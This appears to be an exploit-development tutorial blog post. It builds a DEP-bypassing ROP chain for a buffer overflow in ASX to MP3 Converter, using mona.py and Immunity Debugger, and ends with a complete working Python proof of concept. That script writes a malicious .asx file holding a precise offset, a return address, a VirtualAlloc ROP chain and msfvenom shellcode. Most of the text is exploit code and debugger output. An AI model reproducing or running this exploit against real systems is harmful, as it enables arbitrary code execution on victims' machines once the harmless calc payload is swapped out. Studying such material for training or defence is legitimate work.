ASX to MP3 Converter Buffer Overflow with DEP Bypass – ROP Chains

ASX Bypass Teaser Image
First we can use mona.py to identify gadgets and compute potential rop chains
ASX Bypass Screenshot-1

..<snip>..

ASX Bypass Screenshot-2
Check mona’s output directory for following files
ASX Bypass Screenshot-3

Opening rop_chains.txt will provide an extensive list of rop chains that could potentially be used to bypass DEP. In this case we choose the Python implementation of making a Windows API call to the VirtualAlloc() function to change the state of a small region of memory where our buffer exists. Mainly, setting it to be executable.

ASX Bypass Screenshot-4
And to gather some context as to the goal of this rop chain, we need to understand what exactly we need to set our registers to with respect to the VirtualAlloc function’s parameters. The rop_chain.txt file also provides this information. For example, we know that we need to load a pointer to the VirtualAlloc function into ESI.
ASX Bypass Screenshot-5

The method we will use to perform this call is to load all the API parameters into the various registers and use a PUSHAD instruction to push them to the stack in the proper order, and then return to a pointer to the VirtualAlloc() function pointer. (The alternative method would be to carve the parameters directly into the stack)

Looking at the rop chain mona provides we can immediately we see that we will not be able to simply plug-and-play with the output. Mona was unable to compute chains for setting the edx register, and a pushad instruction. So these will need to be done manually.

*** [ Python ] ***

def create_rop_chain():

# rop chain generated with mona.py – www.corelan.be

rop_gadgets = [

#[—INFO:gadgets_to_set_esi:—]

0x1003bcac,  # POP EAX # RETN [MSA2Mfilter03.dll]

0x1004f060,  # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]

0x1003239f,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]

0x1003b386,  # PUSH EAX # PUSHAD # MOV DWORD PTR DS:[EDX+4],EAX # MOV EAX,ESI # POP ESI # RETN [MSA2Mfilter03.dll]

#[—INFO:gadgets_to_set_ebp:—]

0x1002f7d7,  # POP EBP # RETN [MSA2Mfilter03.dll]

0x1003df8e,  # & push esp # ret  [MSA2Mfilter03.dll]

#[—INFO:gadgets_to_set_ebx:—]

0x1003bcac,  # POP EAX # RETN [MSA2Mfilter03.dll]

0x74a02076,  # put delta into eax (-> put 0x00000001 into ebx)

0x10032280,  # ADD EAX,8B5FDF8B # RETN [MSA2Mfilter03.dll]

0x10034735,  # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN [MSA2Mfilter03.dll]

#[—INFO:gadgets_to_set_edx:—]

0x00000000,  # [-] Unable to find gadget to put 00001000 into edx

#[—INFO:gadgets_to_set_ecx:—]

0x10021622,  # POP ECX # RETN [MSA2Mfilter03.dll]

0xffffffff,  #

0x10031ebe,  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

0x10031ebe,  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

..<snip>..

0x10031ebe,  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

#[—INFO:gadgets_to_set_edi:—]

0x100301c6,  # POP EDI # RETN [MSA2Mfilter03.dll]

0x1001d204,  # RETN (ROP NOP) [MSA2Mfilter03.dll]

#[—INFO:gadgets_to_set_eax:—]

0x1002b95d,  # POP EAX # RETN [MSA2Mfilter03.dll]

0x90909090,  # nop

#[—INFO:pushad:—]

0x00000000,  # [-] Unable to find pushad gadget

]

return ”.join(struct.pack(‘<I’, _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

When building ROP chains in this fashion, where we write our function parameter values into the registers, we have to be weary of the order in which we perform our chains since each subsequent chain may have an impact on the registers to which we already wrote a value. For example, the EAX register is often used to conduct calculations to align other registers and push them to the stack. For this reason, it usually makes sense to do the EAX register’s chain last otherwise we risk overwriting it while pushing values into other registers.

For now, we will table the two chains that we didn’t get from mona and implement the ones that we did get. Add the rop chain for the ESI register that we got from mona to our original python script

ASX Bypass Screenshot-6

Let’s test this by executing the python script and generating a new payload file. Attach Immunity to the process and place a breakpoint at our initial RETN instruction, 10048005, so we can observe the rop chain in action. Triggering the vulnerability drops us at our breakpoint and right away we can see the top of our stack contains the instructions from mona’s chain.

ASX Bypass Screenshot-7

F7 to step into the RETN instruction will take us to our first address, 1003BCAC.

ASX Bypass Screenshot-8

Stepping into the next two instruction will pop the value that is currently at the top of the stack into the EAX register, and then return us to the following address, 1003239F

ASX Bypass Screenshot-9

The next instruction will take the value pointed to by the address currently stored in EAX and move that into EAX which, if we follow 1004F060 in dump, we can see that it contains 76444D30.

ASX Bypass Screenshot-10

EAX now contains 76444D30

ASX Bypass Screenshot-11
We step into our RETN instruction and return to the final portion of the ESI rop chain.
ASX Bypass Screenshot-12
After executing the sequence of instructions, the ESI register contains our desired value which is a pointer to VirtualAlloc().
ASX Bypass Screenshot-13

So we will continue to proceed in this fashion: Adding each rop chain component into our script piece by piece, verifying that the register received the correct value before moving on. The next register in mona’s list is EBP which needs to contain the ReturnTo address. According the MSDN article: “If the function succeeds, the return value is the base address of the allocated region of pages.” So essentially, the value in EBP needs to contain some sort of pointer (i.e. a jmp or call) to ESP as ESP is what contains our buffer

From here

Adding the chain to our script:

ASX Bypass Screenshot-14

Generate the payload file, set the breakpoint, and step into the instructions until we can validate that the EBP register now contains the address of our push esp # ret instruction set. After first stepping through our ESI chain we are successfully taken to the start of our chain for the ebp register:

ASX Bypass Screenshot-15

By the end of the chain we see that EBP contains the address 1003DF8E

ASX Bypass Screenshot-16

If we follow 1003DF8E in the disassembler we can confirm that EBP indeed points to a push retn instruction set

ASX Bypass Screenshot-17
Moving on to the next register, EBX, which is responsible for holding a value for the dwSize parameter.
ASX Bypass Screenshot-18
This parameter, according to the MSDN documentation is the size of the region, in bytes, of memory that we want to allocate.

From here

Recalling that the calc.exe msfvenom payload was roughly 220 bytes and that we will want room for NOP instructions, we will be sure to allocate a comfortable amount of space in memory, like 280 bytes.

 

ASX Bypass Screenshot-19
At this point, we will deviate a bit from mona’s suggested rop chain. The following chain, when implemented, will place a value of 1 in the EBX register:
ASX Bypass Screenshot-20
Instead, we will leverage one of mona’s other gems, the rop_suggestions.txt file and search gadgets we can use to increment the EBX register to 280. Mainly, we can leverage EAX to hold our value while we then use ADD instructions to increment it, finally pushing the value into EBX. First we can use Notepad++ to find an XOR EAX,EAX # RETN instruction set to zero out EAX:
ASX Bypass Screenshot-21
Second, we can user NPP’s regex search capability to find an instruction set that allows us to increment EAX in quantities of 10 or more at a time so as to keep the amount of ADDs to a minimum:
ASX Bypass Screenshot-22
We can take these two gadgets to align EBX, and then use the same, final gadget, from mona’s original chain to push the value from eax into ebx.
ASX Bypass Screenshot-23
Following this execution in flow in Immunity we can see it is successfully pushed to the stack we have all of our ADD instructoions:
ASX Bypass Screenshot-24
EAX stores 280
ASX Bypass Screenshot-25
And we push 280 to the stack, and pop it into ebx
ASX Bypass Screenshot-26

Now we can implement the next register, ECX, which needs to contain a value for the flProtect parameter which represents the type of memory protection for the region of pages to be allocated. Per the following MSDN documents: https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants needs to be 0x40 since that corresponds to the

PAGE_EXECUTE_READWRITE memory constant.

ASX Bypass Screenshot-27

Appropriating the chain straight from mona we drop this into our script. The below image is truncated for brevity

ASX Bypass Screenshot-28

Walking through the script in the debugger we can see ECX populated with a value of 40

ASX Bypass Screenshot-29

Next in our list of rop chains is the EDI register, also not too complicated as it merely need a ROP NOP.

ASX Bypass Screenshot-30

So once again, we can use exactly what mona gave us in our script. Validating that our execution flow hits the EDI rop chain:

ASX Bypass Screenshot-31

Stepping through the next two instructions:

ASX Bypass Screenshot-32

The next register we need to address is EAX which, according to mona needs only to be filled with NOPs instructions.

ASX Bypass Screenshot-33

So once again, not needing to overcomplicate this, we can take the chain straight from mona and drop it into our script

ASX Bypass Screenshot-34

Walk through the chains again and confirm that EAX has only \x90s in it. We land at our EAX rop chain and see that a POP EAX instruction is queued up and ready to pop 4 NOPs into EAX:

ASX Bypass Screenshot-35

EAX is set with NOPs.

ASX Bypass Screenshot-36

At this stage, we have completed all registers except EDX which is the flAllocationType parameters of VirtualAlloc. This value needs to contain

0x00001000 which corresponds to MEM_COMMIT. This allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages.

From here

ASX Bypass Screenshot-37

Since EDX needs to contain 1000 we can leverage some simple hex calculations to get us there. For example, we know that the ADC instruction

*adds the destination operand (first operand), the source operand (second operand), and the carry (CF) flag and stores the result in the destination operand. This means, we can load EDX and some other register with values that, when added (including the carry flag), the total sum comes out to be 1000.

*From <https://www.felixcloutier.com/x86/adc>

With this in mind, we can think of adding values such as EEEEFEEF and 11111111 where EDX would contain EEEEFEEF since it would be the destination register and contain the resultant sum.

Also we can arbitrarily select the source register to help us with the computation but ultimately it depends on what gadgets are available to us. After searching rop_suggestions.txt, we find a # ADC EDX,ESI # POP ESI # RETN instruction sequence. The POP ESI here is actually negligible because all we need is the ADC instruction to get our EDX value. But there are no gadgets in the file that are only # ADC EDX,ESI # RET. Since the POP ESI has no bearing on the rest of our chain we can use this gadget.

So our goals here are:

  1. Clear out EDX register to prime it for EEEEFEEF
  2. Pack our chain with the value EEEEFEEF so it’s on the stack in preparation for popping it
  3. Pop EEEEFEEF into EDX (need a # POP EDX # RETN)
  4. Pack our chain once again but this time with 11111111 so it’s on the stack in preparation to pop it into ESI
  5. Pop 11111111 into ESI (need a # POP ESI # RETN)
  6. Pack the chain with some NOPs to account for our extra POP ESI which is uneeded

ADC the EDX and ESI registers

#[—INFO:gadgets_to_set_edx:—]

rop += struct.pack(‘<L’, 0x10029B8C) # XOR EDX,EDX # RETN

rop += struct.pack(‘<L’, 0x1002D493) # POP EDX # RETN

rop += struct.pack(‘<L’, 0xEEEEFEEF)

rop += struct.pack(‘<L’, 0x1004a474) # POP ESI # RETN

rop += struct.pack(‘<L’, 0x11111111)

rop += struct.pack(‘<L’, 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN

rop += struct.pack(‘<L’, 0x90909090)

Drop the chain into our script, generate a new payload file, set breakpoint, and trigger the vulnerability to confirm that EDX gets filled with correct value

ASX Bypass Screenshot-38
ASX Bypass Screenshot-39
ASX Bypass Screenshot-40
ASX Bypass Screenshot-41
ASX Bypass Screenshot-42
ASX Bypass Screenshot-43
ASX Bypass Screenshot-44
ASX Bypass Screenshot-45
ASX Bypass Screenshot-46

Now that EDX is set, we can step through the entirety of our ROP chain now and confirm all registers hold the proper values

ASX Bypass Screenshot-47

All that’s left is to push these values to the stack and subsequently return to the VirtuaAlloc function to execute. Ideally, we would use a pushad instruction to push everything to the stack however, mona was unable to come up with a rop chain for this as well which means we will need to use some more black magic to get us there. We need a standalone # PUSHAD # RETN instruction set but sadly do not have one readily available to us.

ASX Bypass Screenshot-48

To workaround this we can first look for a memory address with a pushad # retn instruction set. Then we can find an existing ADD or SUB operation on another register and compute a value of our own which, when added or subtracted with the value in said instruction, equals the address of the PUSHAD # RETN sequence we found.  To put it simply, say for example:

  1. Say we find an instruction in memory like ADD EAX, 5
  2. And say we’ve found an address in memory where our PUSHAD RETN sequence exists and it’s 12

Since we can control value that get pushed onto the stack (as we’ve previously done) we can push something like 7 to the stack now, and pop it into the EAX register. Now, when we return to the address where we ADD EAX, 5 we will ultimately be putting a value of 12 into EAX. With that being the case, we can subsequently find a gadget that pushes EAX (12) to the stack and returns to it. 12 being analogous to the memory location containing our PUSHAD RETN instruction.

So first, search the rop.txt file for an arbitrary instruction that add some value to some register. In this case, let’s look for EAX since we used it in our analogy above. Great, we find an address where we add 5B5D5E5F to EAX.

ASX Bypass Screenshot-49

Locate a PUSHAD # RETN instruction sequence somewhere in memory and note the address: 004050D4.

ASX Bypass Screenshot-50

So we have:

ADD EAX, 5B5D5E5F

and our target address: 004050D4

We want to find some number to put in EAX such that XXXXXXXX  + 5B5D5E5F = 004050D4. That is,

004050D4 5B5D5E5F = A4E2F275

ASX Bypass Screenshot-51

Thus, we want to get A4E2F275 into EAX and return to the memory address where containing ADD EAX, 5B5D5E5F because this will give us the address of the PUSHAD # RETN instruction sequence we need to push all our register values to the stack. After searching rop.txt for the needed instructions to do this, we get:

ASX Bypass Screenshot-52

Loading this up in Immunity and stepping though we confirm we hit our rop chain for pushad.

ASX Bypass Screenshot-53

Pop A4E2F275 into EAX

ASX Bypass Screenshot-54

Get ready to ADD A4E2F275 and 5B5D5E5F

ASX Bypass Screenshot-55

EAX now holds the address of our PUSHAD RETN instruction

ASX Bypass Screenshot-56

We push it to the stack

ASX Bypass Screenshot-57
ASX Bypass Screenshot-58

Return to it, and we are redirected to our PUSHAD RETN instruction set!

ASX Bypass Screenshot-59

If we step into the next two instructions we finally see our VirtualAlloc loaded with all the parameters on the stack, ready to be executed. Making special note of the start address of our executable memory space: 000FC640 and our return to ESP address: 1003DF8E stored in the EBP register.

ASX Bypass Screenshot-60

Taking the function for a spin, we get to our return address which means the function successfully executed.

ASX Bypass Screenshot-61

We push the address in ESP to the stack

ASX Bypass Screenshot-62

Return to it

ASX Bypass Screenshot-63

OOF. We hit a snag when approaching our buffer in the disassembler.

ASX Bypass Screenshot-64

After some head scratching and heartburn we realize that the ESP address to which we returned is 000FC63C but the actual start of our executable memory space is 000FC640. It would seem that we were returned to an address space just 4 bytes shy of where we needed to be. HEX chart for reference below:

ASX Bypass Screenshot-65

Recalling that the EBP register is responsible for holding the value of the return address

ASX Bypass Screenshot-66

We can go and review this in Immunity and confirm that it indeed points to a PUSH ESP.

ASX Bypass Screenshot-67

So a quick and dirty fix would be to amend our EBP rop chain with an address that points to an ADD ESP, 8 # RETN instruction. Searching our rop.txt file for such a gadget yields many results.

ASX Bypass Screenshot-68

We pick an address and drop it into our rop chain for the ebp register:

ASX Bypass Screenshot-69

Save. Run the script. Track the execution flow in Immunity again. This time we are taken to our ADD ESP,8 instruction

ASX Bypass Screenshot-70

And now, when we finally return to ESP we land inside our NOPs as well as our executable memory space.

ASX Bypass Screenshot-71

And we can confirm that we can freely execute our NOPs with no Access Violation errors

ASX Bypass Screenshot-72

So now, all that’s left is to re-add our calc.exe payload back into the script.

ASX Bypass Screenshot-73

..<snip>..

ASX Bypass Screenshot-74

In Immunity we see our calc shellcode ready to be executed.

ASX Bypass Screenshot-75

Hitting F9 to let the process continue running  shows that the calc.exe program has indeed been launched!

ASX Bypass Screenshot-76

W00T!

ASX Bypass Screenshot-77

Full PoC

import struct

file = ‘poc.asx’

#msfvenom -p windows/exec cmd=calc.exe -a x86 -b ‘\x00\x0a\x0d\x5d’ -v calc -f python

calc =  calc =  b””

calc += b”\x33\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81″

calc += b”\x76\x0e\x30\xc6\xc6\xef\x83\xee\xfc\xe2\xf4\xcc\x2e”

calc += b”\x44\xef\x30\xc6\xa6\x66\xd5\xf7\x06\x8b\xbb\x96\xf6″

calc += b”\x64\x62\xca\x4d\xbd\x24\x4d\xb4\xc7\x3f\x71\x8c\xc9″

calc += b”\x01\x39\x6a\xd3\x51\xba\xc4\xc3\x10\x07\x09\xe2\x31″

calc += b”\x01\x24\x1d\x62\x91\x4d\xbd\x20\x4d\x8c\xd3\xbb\x8a”

calc += b”\xd7\x97\xd3\x8e\xc7\x3e\x61\x4d\x9f\xcf\x31\x15\x4d”

calc += b”\xa6\x28\x25\xfc\xa6\xbb\xf2\x4d\xee\xe6\xf7\x39\x43″

calc += b”\xf1\x09\xcb\xee\xf7\xfe\x26\x9a\xc6\xc5\xbb\x17\x0b”

calc += b”\xbb\xe2\x9a\xd4\x9e\x4d\xb7\x14\xc7\x15\x89\xbb\xca”

calc += b”\x8d\x64\x68\xda\xc7\x3c\xbb\xc2\x4d\xee\xe0\x4f\x82″

calc += b”\xcb\x14\x9d\x9d\x8e\x69\x9c\x97\x10\xd0\x99\x99\xb5″

calc += b”\xbb\xd4\x2d\x62\x6d\xac\xc7\x62\xb5\x74\xc6\xef\x30″

calc += b”\x96\xae\xde\xbb\xa9\x41\x10\xe5\x7d\x36\x5a\x92\x90″

calc += b”\xae\x49\xa5\x7b\x5b\x10\xe5\xfa\xc0\x93\x3a\x46\x3d”

calc += b”\x0f\x45\xc3\x7d\xa8\x23\xb4\xa9\x85\x30\x95\x39\x3a”

calc += b”\x53\xa7\xaa\x8c\x1e\xa3\xbe\x8a\x30\xc6\xc6\xef”

 

buffer = “http://” + “A” * 17417

retn = “\x05\x80\x04\x10” # 10048005 – RETN

 

#Register setup for VirtualAlloc() :

#——————————————–

# EAX = NOP (0x90909090)

# ECX = flProtect (0x40)

# EDX = flAllocationType (0x1000)

# EBX = dwSize

# ESP = lpAddress (automatic)

# EBP = ReturnTo (ptr to jmp esp)

# ESI = ptr to VirtualAlloc()

# EDI = ROP NOP (RETN)

 

#VirtualAlloc() Function Params :

#——————————————–

#LPVOID VirtualAlloc(         -ESI

#  LPVOID lpAddress,          -ESP

#  SIZE_T dwSize,             -EBX

#  DWORD  flAllocationType,   -EDX

#  DWORD  flProtect           -ECX

#);

 

 

rop = struct.pack(‘<L’,0x42424242)

#[—INFO:gadgets_to_set_edx:—]

rop += struct.pack(‘<L’, 0x10029B8C) # XOR EDX,EDX # RETN

rop += struct.pack(‘<L’, 0x1002D493) # POP EDX # RETN

rop += struct.pack(‘<L’, 0xEEEEFEEF)

rop += struct.pack(‘<L’, 0x1004a474) # POP ESI # RETN

rop += struct.pack(‘<L’, 0x11111111)

rop += struct.pack(‘<L’, 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN

rop += struct.pack(‘<L’, 0x90909090)

 

#[—INFO:gadgets_to_set_esi:—]

rop += struct.pack(‘<L’,0x1003bcac) # POP EAX # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10040754) # PUSH EAX # PUSHAD # MOV DWORD PTR DS:[EDX+4],EAX # MOV EAX,ESI # POP ESI # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x90909090)

rop += struct.pack(‘<L’,0x90909090)

 

#[—INFO:gadgets_to_set_ebp:—]

rop += struct.pack(‘<L’,0x1002f7d7)  # POP EBP # RETN [MSA2Mfilter03.dll]

#rop += struct.pack(‘<L’,0x1003df8e) # & push esp # ret  [MSA2Mfilter03.dll] # 4 bytes too short

rop += struct.pack(‘<L’,0x10022471)  # ADD ESP,8 # RETN

 

#[—INFO:gadgets_to_set_ebx:—]

rop += struct.pack(‘<L’, 0x1002f25f) # XOR EAX,EAX # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN

rop += struct.pack(‘<L’,0x10034735)  # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN [MSA2Mfilter03.dll]

 

#[—INFO:gadgets_to_set_ecx:—]

rop += struct.pack(‘<L’,0x10021622)  # POP ECX # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0xffffffff)  # 

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x10031ebe)  # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]

 

#[—INFO:gadgets_to_set_edi:—]

rop += struct.pack(‘<L’,0x100301c6)  # POP EDI # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x1001d204)  # RETN (ROP NOP) [MSA2Mfilter03.dll]

 

#[—INFO:gadgets_to_set_eax:—]

rop += struct.pack(‘<L’,0x1002b95d)  # POP EAX # RETN [MSA2Mfilter03.dll]

rop += struct.pack(‘<L’,0x90909090)  # nop

 

#[—Manipulate EAX register to contain the address of # PUSHAD #RETN—]

rop += struct.pack(‘<L’, 0x1002E516) # POP EAX # RETN

rop += struct.pack(‘<L’, 0xA4E2F275)

rop += struct.pack(‘<L’, 0x1001821e) # ADD EAX,5B5D5E5F # RETN

rop += struct.pack(‘<L’, 0x10040ce5) # PUSH EAX # RETN # use as breakpoint

rop += struct.pack(‘<L’, 0x90909090)

rop += struct.pack(‘<L’, 0x10043de1) # PUSH ESP # RETN

 

nops = “\x90” * 16

junk = “C” * (26031 – 17417 – len(rop) – len(nops) – len(calc))

 

payload = buffer + retn + rop + nops + calc + junk

 

f = open(file,’w’)

f.write(payload)

f.close()